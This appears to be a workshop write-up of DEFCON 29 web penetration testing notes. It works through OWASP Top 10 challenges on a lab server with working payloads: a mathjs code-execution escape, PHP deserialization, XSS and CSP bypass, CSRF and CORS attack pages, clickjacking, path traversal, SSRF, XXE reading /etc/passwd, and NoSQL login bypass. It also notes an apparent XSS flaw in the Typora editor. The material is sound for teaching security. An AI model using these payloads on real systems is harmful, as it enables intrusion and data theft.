/defcon29-web-pentest

Web Penetration Testing Workshop notes for DEFCON 29

Primary LanguageHTML

OWASP Top 10 Hacks

Notes from DEFCON 29 Web Penetration Testing Workshop.

The challenges are hosted at this URL: http://23.92.210.146:3000

A10 - Insufficient Logging & Monitoring

Challenge focuses on triggering impropper error handling to leak info about the software being used.

Solution: send any formula into the calculator that is not a proper math equation. To see the result, you must capture the request with Burp.

{
  "calc": "bad"
}

A10-error

A9 - Using Components With Known Vulnerabilities

Your mission - Try to find the vulnerable package used and exploit it by reading the file "/etc/passwd". Hint: Read this blog: https://jwlss.pw/mathjs/

As we saw in the previous challenge (see image above), the website uses the "mathjs" library, which is both extremely popular and also vulnerable to arbitrary remote code execution.

# Getting basic code execution:
{
    "calc": "cos.constructor(\"return 1\")()"
}
# returns: 1

# reading /etc/passwd
{
    "calc": "cos.constructor(\"buffer=Buffer.allocUnsafe(4096);process.binding('fs').read(process.binding('fs').open('/etc/passwd',0,0600),buffer,0,4096);return buffer.toString()\")()"
}

# arbitrary remote code execution (`whoami`)
{
    "calc": "cos.constructor(\"spawn_sync=process.binding('spawn_sync');normalizeSpawnArguments=function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync=function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};return spawnSync('whoami').stdout.toString()\")()"
}

Reading /etc/passwd:

Running whoami:

A8 - Insecure Deserialization

Serialization example (source: https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection):

<?php
class User{
    public $username;
    public $status;
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
echo serialize($user);
?>
# prints:
# O:4:"User":2:{s:8:"username";s:6:"vickie";s:6:"status";s:9:"not admin";}
# translation:
# obj-index:len-name:name:num-fields:{type(s=str):len:val("username");type:len:val("vickie");...}
# other types:
# b = boolean
# i = integer
# d = float
# a = array
# O = object (letter "O", not number 0)

Deserialization example:

<?php
class User{
    public $username;
    public $status;
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';

$serialized_string = serialize($user);
$unserialized_data = unserialize($serialized_string);

var_dump($unserialized_data);
var_dump($unserialized_data->status);
?>
# output:
# object(User)#2 (2) {
#   ["username"]=>
#   string(6) "vickie"
#   ["status"]=>
#   string(9) "not admin"
# }
# string(9) "not admin"

Example vulnerable code:

<?php
class Pwnable
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

// expecting to get legit instance of "Pwnable" class here:
$user_data = unserialize($_COOKIE['data']);  // but accepting user input is a bad idea

// some PHP code...
?>

Start php server locally with: php -S 127.0.0.1:8000

To exploit, first generate cookie (url encoded):

<?php
class Pwnable
{
   private $hook = "phpinfo();"; // can insert any php code, including reverse shell!
}

print urlencode(serialize(new Pwnable));
?>

Then make a web request with the generated cookie:

cookie=$(php exploit.php)
curl http://localhost:8000/pwnme.php -H "Cookie: data=$cookie"

A7 - Cross Site Scripting (XSS)

There are 4 types of XSS:

  1. Persistent/Stored XSS, where the malicious code stored in a database.
  2. Reflected XSS, where the malicious code originates from the victim's request.
  3. DOM based XSS, where the vulnerability is in the client-side code rather than the server-side code.
  4. Blind XSS, when there is no direct reflection from the server but your script is executed in the application or in another application somewhere.

Stage 1 - Simple

Just vanilla XSS. User input (from form field) is embedded directly into page HTML.

<script>alert(1)</script>

Stage 2 - Alternate URL, query param

This time, the XSS happens on an API endpoint (not the frontend UI) that returns text/html with the user's input from a query parameter injected directly into the response:

http://23.92.210.146:3000/api/xss/stage/2?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Note: this is just the same <script>alert(1)</script> payload, just url-encoded.

It is important to use Burp or monitor the Network traffic (in browser or w/ Wireshark) to see what's really happening, because it wouldn't have looked vulnerable if you'd just tried exploiting from the web frontend in the browser.

Stage 3 - Inside HTML element attribute

This time, the unescaped injection happens inside an HTML element (in this case, the input field's "value" attribute). To exploit, you must exit out of the field by closing the quotes and the html element angle bracket before starting your injected script tag. The vulnerable element looks like this:

<input class="cyberpunk" type="text" placeholder="Apple" name="search" value="YOUR CODE HERE">

To exploit, use a payload like this (note the "> at the beginning):

"><script>alert(1)</script>

Exploited URL:

http://23.92.210.146:3000/a7/stage/3?search=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

If the source code is available to you, you would have seen that the node.js server didn't properly escape the input value in the html template. It escaped properly elsewhere with:

<%= userinput %>  // correct escaping of template

However, there was a typo in the template code for the input field template:

<%- userinput %>  // note the minus instead of equals, not valid html-escaping

Interlude:

While working on this, I discovered an XSS vulnerability in Typora (the Markdown editor I'm using).

Exploit POC (must be typed or pasted in):

```<script>alert(1)</script>`x`

It requires having a block quote start with a script tag, followed by a separated pair of backticks.

However, I can't figure out yet how to turn this into a malicious markdown file.

Stage 4 - Not sanitizing dropdown inputs

This challenge presents you with a form that has an input box and a dropdown menu. The contents of the input box is sanitized properly, but the dropdown menu is not. Presumably the developer either didn't realize the error or felt the GUI would provide enough protection by filtering options that would be sent to the server (not actually true because attackers can send custom requests by working outside the GUI).

Manually changing the API request for the dropdown field in Burp:

Exploited URL:

http://23.92.210.146:3000/api/xss/stage/4?search=blah&country=%3Cscript%3Ealert(1)%3C/script%3E

Stage 5 - DOM XSS

This page embeds the URL in the DOM with a message like "You are currently visiting <URL>", so if you make the URL contain malicious HTML+JS, you can get it to execute code.

Exploit URL:

http://23.92.210.146:3000/a7/stage/5?%3Cscript%3Ealert(1)%3C/script%3E

NOTE: Using the ? query parameter sends the request query string to the server, so the exploit will show up in the server logs. If you instead use # as the delimiter (also known as the hash parameter, or fragment identifier), then the malicious injection won't get sent to the server, since the hash params are handled on the client side only.

Better exploit URL (note the hash instead of question mark):

http://23.92.210.146:3000/a7/stage/5#%3Cscript%3Ealert(1)%3C/script%3E

Note the hash param is not part of the actual request to the server:

Stage 6 - Link Embedding

In this challenge, you cannot break out from the HTML element attribute (in this case, the hyperlink href), so you have to come up with a malicious XSS payload that works as an href. Browsers support special URL schemes like data:, about: and javascript:. The last of these can be used to execute arbitrary javascript. Note: they are also useful for bookmarklets.

Exploit:

javascript:alert(1)

In action (note the link we created has the evil href):

Stage 7 - Open Redirect

This challenge simulates how you might have an open redirect on something like a login page to return you to where you were before needing to enter login credentials. The page that is vulnerable to XSS requires a Referer header before it will trigger the vulnerability. So if you get a working exploit, but send a link to your friend to click on, it won't work because the missing Referer header causes a redirect to the "login" page. This can be discovered by comparing requests using Burp's "Compare" feature.

Failed attempt:

http://23.92.210.146:3000/a7/stage/7_real?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

The above payload only works if you enter the exploit payload into the input box so it has the Referer header. If you navigate to the URL directly, it will fail.

Note how the first request (on the left) has the Referer header, while the second request (on the right, starting from a new session) does not. The request starting from a new session gets redirected to the login page with a callback= query param to show where the page should redirect after successful authentication. This query param is an open redirect, so we can abuse it to send our XSS payload.

Exploit payload:

http://23.92.210.146:3000/a7/stage/7?callback=/a7/stage/7_real?search=%3Cscript%3Ealert(1)%3C/script%3E

Then, when the user clicks "Start" to login, they will trigger the XSS vulnerability.

Stage 8 - CSP Bypass

When Content Security Policy (CSP) is enabled via the Content-Security-Policy header, then inline scripts are disabled by default. Thus, you cannot add your own <script> blocks (i.e. all script tags need a src= attribute). Thus you have to find a way around the restriction by uploading your own javascript to the site and invoking that javascript via a <script src=http://victim.com/your.js> tag.

First, craft a malicious javascript file named csp.js:

alert(1)

Then upload the file to the server. It will complain about the filetype not being .jpg, but still let you upload it.

Exploit link:

http://23.92.210.146:3000/api/xss/stage/8?search=%3Cscript+src%3Dhttp%3A%2F%2F23.92.210.146%3A3000%2Fuploads%2Fcsp.js%3E%3C/script%3E

Which uses the payload:

<script src=http://23.92.210.146:3000/uploads/csp.js></script>

A6 - Security Misconfiguration

For this the lab focused on Cross Origin Resource Sharing (CORS) Bypasses due to CORS misconfigurations.

Stage 1 - Inject Origin Header

Grab sensitive user data by making a Cross-Origin request. The misconfiguation here is that the server accepts a user-provided Origin header.

Malicious web page you host (this example uses the legacy XMLHttpRequest API):

<html>
<body>
	<pre id="data">
	</pre>
</body>
<script>
	var url = "http://23.92.210.146:3000/api/whoami";
	var xhttp = new XMLHttpRequest();
	xhttp.open("GET", url, false);
	xhttp.setRequestHeader("Origin", "23.92.210.146:3000");
	xhttp.withCredentials = true;
	xhttp.send();
	document.getElementById("data").innerHTML = xhttp.responseText;
</script>
</html>

Or using the modern fetch Javascript API:

<html>
<body>
	<pre id="data">
	</pre>
</body>
<script>
	let url = "http://23.92.210.146:3000/api/whoami";
	fetch(url, {
	  headers: {'Origin': '23.92.210.146:3000'},
	  credentials: 'include'
	})
	  .then(resp => resp.text())
	  .then(data => document.getElementById("data").innerHTML = data);
</script>
</html>

Note: in addition to adding the Origin header (which maches the victim server), you also have to tell the AJAX request to include the user's cookies (i.e. credentials).

Then have the user browse to your web page, and they will see their sensitive data leaked.

Stage 2 - CSRF Token in Cookie (bad)

Use Cross Site Request Forgery (CSRF) to post as the user.

Host this evil page:

<html>
  <script>
    let url = "http://23.92.210.146:3000/api/message_cookie";
    fetch(url, {
      method: "POST",
      mode: "no-cors",
      headers: {
        Origin: "http://23.92.210.146:3000",
        Referer: "http://23.92.210.146:3000/a6/stage/2",
        "Content-Type": "application/json",
      },
      credentials: "include",
      body: JSON.stringify({ msg: "HACKED" }),
    });
  </script>
</html>

And when the victim browses to it, you get to post as them.

NOTE: the mode: "no-cors" option is required for this to work. Otherwise, the browser won't let you change the Origin header.

The misconfiguration is that the CSRF token is in the Cookies instead of the request body.

Stage 3 - CSRF Token not checked properly

This challenge is identical to the previous, except the server puts the CSRF token in the response body like they should. However, they only check the CSRF token if it exists. Using the same payload as before will still exploit the vulnerability.

Stage 4 - Clickjacking

For this one, you inject an iframe with the victim page over top of the fake link you want a user to click on. When they click your bait link, you tricked them into clicking the iframe link in the victim page. This makes it so you get them to interact on the page as their account for you (to buy stuff or transfer you money, for example).

For the example, the iframe transparency was non-zero so you could see that the user was really clicking on the "LIKE" button, even though they thought they were clicking on the get rich link.

Source:

<!DOCTYPE html>
<html>

<head>
  <style>
    iframe {
      width: 100%;
      height: 100%;
      position: fixed;
      display: block;
      top: -300px;
      left: 0;
      bottom: 0;
      right: 0;
      border: none;
      margin: 0;
      padding: 0;
      overflow: hidden;
      opacity: 0.3;
      /* in real life opacity=0 */
    }
  </style>
</head>

<body>
  <iframe src="http://23.92.210.146:3000/a6/stage/4" scrolling="no"></iframe>
  <div style="padding-left: 700px; padding-top: 200px">
    <p>Click on the link to get rich now:</p>

    <a href="javascript:alert('This is a click jacking exmaple');" target="_blank">CLICK ME!</a>
    <br />
    <p>You'll be rich for the whole your life!</p>
  </div>
</body>

</html>

Notes:

  • Position the iframe using the top CSS property so the button is positioned nicely in the window.
  • Also line up the link over the button with the padding attributes in the html element.
  • Prevent scrolling of the iframe using scrolling="no" html-attribute and overflow: hidden; css property.

A5 - Broken Access Control

The OWASP top 10 lists A5 as Broken Access Control, but the class mis-labeled it as "Security Misconfiguration". Not sure how these line up.

Stage 1 - Local File Inclusion

Read /etc/passwd via LFI:

http://23.92.210.146:3000/a5/stage/1?file=../../../../../../etc/passwd

In this case directory traversal was required to read the /etc/passwd file.

Stage 2 - SSRF

Try to use the LFI/RFI vuln to look for other services on the same host that are only exposed to the server. Find the /server endpoint on the other service. This is known as Server Side Request Forgery (SSRF).

First, capture a normal request. Then open it in Burp and try to insert an RFI/SSRF payload in the URL using Intruder > Positions:

In this case, we set it to look at itself on port 80, but we make the "80" a variable.

Next go to Payloads and add a list of ports you want to scan.

Run it and note the different lengths of responses. The longest response is usually a good indicator of success!

Thus, we might be able to find our secret api at the following URL:

http://23.92.210.146:3000/a5/stage/2?file=http://127.0.0.1:8080/secret

Browsing to it:

Win!

A4 - XML External Entities (XXE)

Challenge: Try to read /etc/passwd via "XML External Entities" vulnerability.

Website presents you with a login screen. Interestingly, the login request is submitted as text/xml, so you might be able to inject an XXE payload if the server allows it.

XXE payloads use Document Type Definitions (DTDs) in the header area to make arbitrary substitutions into the XML body. DTDs are like macros or variable substitutions for XML.

Example of normal DTD usage:

<!DOCTYPE note
[
<!ELEMENT note (to,from,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT body ANY>
]>
<note>
  <to>Bob</to>
  <from>Alice</from>
  <body>I love you.</body>
</note>

In this example the DTD above is interpreted like this:

  • !DOCTYPE note - Defines that the root element of the document is note
  • !ELEMENT note - Defines that the note element must contain the elements: "to, from, body"
  • !ELEMENT to - Defines the to element to be of type "#PCDATA"
  • !ELEMENT from - Defines the from element to be of type "#PCDATA"
  • !ELEMENT body - Defines the body element to be of type "ANY"
  • TIP: "#PCDATA" means parseable character data.

DTDs also allow Entity declarations. Entities are the "variables" or "macros" that can get substituted into anywhere they are used in the XML body. For example:

<!DOCTYPE foo
[
<!ENTITY bar "This will get substituted in for '&bar;'">
]>
<foo>&bar;</foo>

Now, when that document renders, the string "This will get substituted in for '&bar;'" in fact does so. This type of Entity declaration is known as an internal entity, because the contents of the substitution are internal to the XML document itself (i.e. the string is right there in the Entity).

The Entity declarations can also support external declarations, where the string isn't in the Entity declaration, but instead there is some pointer (in the form of a URI/URL) to an external resource that contains the data that will be substituted into the XML document. External Entities use the "SYSTEM" keyword to indicate that the resource is external. Here is an example:

<!ENTITY foo SYSTEM "http://example.com/baz.dtd">

Normally, further DTDs are nested in such a way, but any resource can be filled in as text. This lets us abuse it to do things like reading from a file only the server has access to.

Here is the exploit payload for the request:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<creds>
    <user>&xxe;</user>
    <pass>herpaderp</pass>
</creds>

Note the external entity named "xxe". This points to the /etc/passwd file, whose contents get dumped into wherever we use the &xxe; macro/variable in the XML document.

In action:

For more advanced XXEs, you can take advantage of some fun URL types like expect://whoami to run the system shell command whoami.

A3 - Sensitive Data Exposure

Attackers can often find the source code for an application on Github. The repo for this challenge is at:

It has commits that added solutions before they were supposed to be posted. Even though that data was "removed" in a later commit, the data is still there in the git history.

A2 - Broken Authentication

You are presented with a login screen. You can log in as your already registered user. The goal: try to login to the user "roman" (admin).

The vulnerability is that the authentication is broken up across two requests: the first checks the username and password to issue a token (uuid). The next step grants users with a valid token access to the account username provided. However, there is no coupling between the username and the token, so you can change the username after getting a valid token to get access to any user.

Here is the first (authorization) request:

Here is the second (access) request, modified to use the token for "derp" with the user "roman":

A1 - Injection

This challenge asks you to login as the "roman" user by using NoSQL injection. This is becoming more common as NoSQL is gaining popularity, but developers don't realize NoSQL is vulnerable to injection just like SQL injection.

NoSQL injection relies on any of the following characters being passed unsanitized to the application (e.g. via a REST API JSON request):

' " \ ; { }

PHP MongoDB implementations have NoSQL operators that start with $ (e.g. $where, $ne), and some javascript MongoDB implementations (node.js + express) sometimes use & (e.g. &ne).

Login bypass can be accomplished by setting either the username or password field to an object that basically says foo $ne null. Here are some examples using both $ and & versions:

// in the JSON request body
{'user': 'admin', 'password': {'&ne': ''}}
{"username": {"$ne": null}, "password": {"$ne": null} }

// in the query string:
user=admin&password[%24ne]=
username[$eq]=admin&password[$ne]=1
username[$exists]=true&password[$exists]=true

And here is the exploit:

The payload had to be set manually in Burp, because the web form passed it as a string instead of a JSON object. The payload was:

{
    "creds": "roman",
    "password": {"$ne":1}
}